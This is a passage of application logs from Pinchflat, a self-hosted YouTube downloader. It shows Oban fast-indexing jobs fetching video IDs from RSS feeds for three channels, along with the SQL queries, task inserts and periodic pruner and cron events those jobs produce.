fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:50:44.387 [debug] QUERY OK source="media_items" db=0.2ms idle=40.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:50:44.390 [debug] QUERY OK source="media_items" db=2.1ms idle=40.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 10:50:44.391 [debug] QUERY OK source="tasks" db=0.0ms idle=43.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [606, 1, ~U[2026-07-24 10:50:44Z], ~U[2026-07-24 10:50:44Z]] 10:50:44.391 [info] {"args":{"id":1},"id":603,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":43893,"event":"job:stop","queue_time":587804,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:50:56.448 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.386 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:51:02.367 [info] {"args":{"id":3},"id":604,"meta":{},"system_time":1784890262367171292,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:51:02.367 [debug] QUERY OK source="sources" db=0.0ms idle=795.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 10:51:02.367 [debug] QUERY OK source="settings" db=0.0ms idle=795.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:51:02.367 [debug] QUERY OK source="media_profiles" db=0.0ms idle=795.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:51:02.367 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:51:02.367 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 10:51:02.938 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:51:02.939 [debug] QUERY OK source="media_items" db=0.4ms idle=571.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:51:02.944 [debug] QUERY OK source="media_items" db=4.6ms idle=572.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 10:51:02.945 [debug] QUERY OK source="tasks" db=0.1ms idle=577.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [607, 3, ~U[2026-07-24 10:51:02Z], ~U[2026-07-24 10:51:02Z]] 10:51:02.945 [info] {"args":{"id":3},"id":604,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":578457,"event":"job:stop","queue_time":602256,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:51:26.449 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:56.450 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.387 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:52:26.451 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:56.452 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.388 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:53:26.453 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:56.454 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.389 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:54:26.455 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:56.456 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.390 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:55:26.457 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:56.459 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.391 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:56:26.460 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:56.461 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.392 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:57:26.462 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:56.463 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.393 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:58:26.464 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:56.465 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.394 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:59:26.466 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:56.467 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.395 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:00:26.469 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:31.966 [info] {"args":{"id":2},"id":605,"meta":{},"system_time":1784890831966183423,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:00:31.966 [debug] QUERY OK source="sources" db=0.0ms idle=393.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:00:31.966 [debug] QUERY OK source="settings" db=0.0ms idle=393.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.966 [debug] QUERY OK source="media_profiles" db=0.0ms idle=393.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:31.966 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.966 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 11:00:32.082 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:00:32.083 [debug] QUERY OK source="media_items" db=0.2ms idle=116.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:00:32.083 [debug] QUERY OK source="media_items" db=0.2ms idle=117.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:00:32.084 [debug] QUERY OK source="tasks" db=0.0ms idle=117.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [608, 2, ~U[2026-07-24 11:00:32Z], ~U[2026-07-24 11:00:32Z]] 11:00:32.084 [info] {"args":{"id":2},"id":605,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":118295,"event":"job:stop","queue_time":505571,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:00:44.981 [info] {"args":{"id":1},"id":606,"meta":{},"system_time":1784890844981151228,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:00:44.981 [debug] QUERY OK source="sources" db=0.0ms idle=1408.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:44.981 [debug] QUERY OK source="settings" db=0.0ms idle=1408.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:44.981 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:44.981 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:44.981 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 11:00:45.022 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 11:00:45.022 [debug] QUERY OK source="media_items" db=0.2ms idle=41.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 11:00:45.025 [debug] QUERY OK source="media_items" db=2.0ms idle=41.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:45.025 [debug] QUERY OK source="tasks" db=0.0ms idle=44.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [609, 1, ~U[2026-07-24 11:00:45Z], ~U[2026-07-24 11:00:45Z]] 11:00:45.026 [info] {"args":{"id":1},"id":606,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":44823,"event":"job:stop","queue_time":590343,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:00:56.470 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.396 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:01:03.000 [info] {"args":{"id":3},"id":607,"meta":{},"system_time":1784890863000419531,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:01:03.000 [debug] QUERY OK source="sources" db=0.0ms idle=1007.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 11:01:03.000 [debug] QUERY OK source="settings" db=0.0ms idle=427.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:01:03.001 [debug] QUERY OK source="media_profiles" db=0.0ms idle=428.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:01:03.001 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:01:03.001 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 11:01:03.027 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", 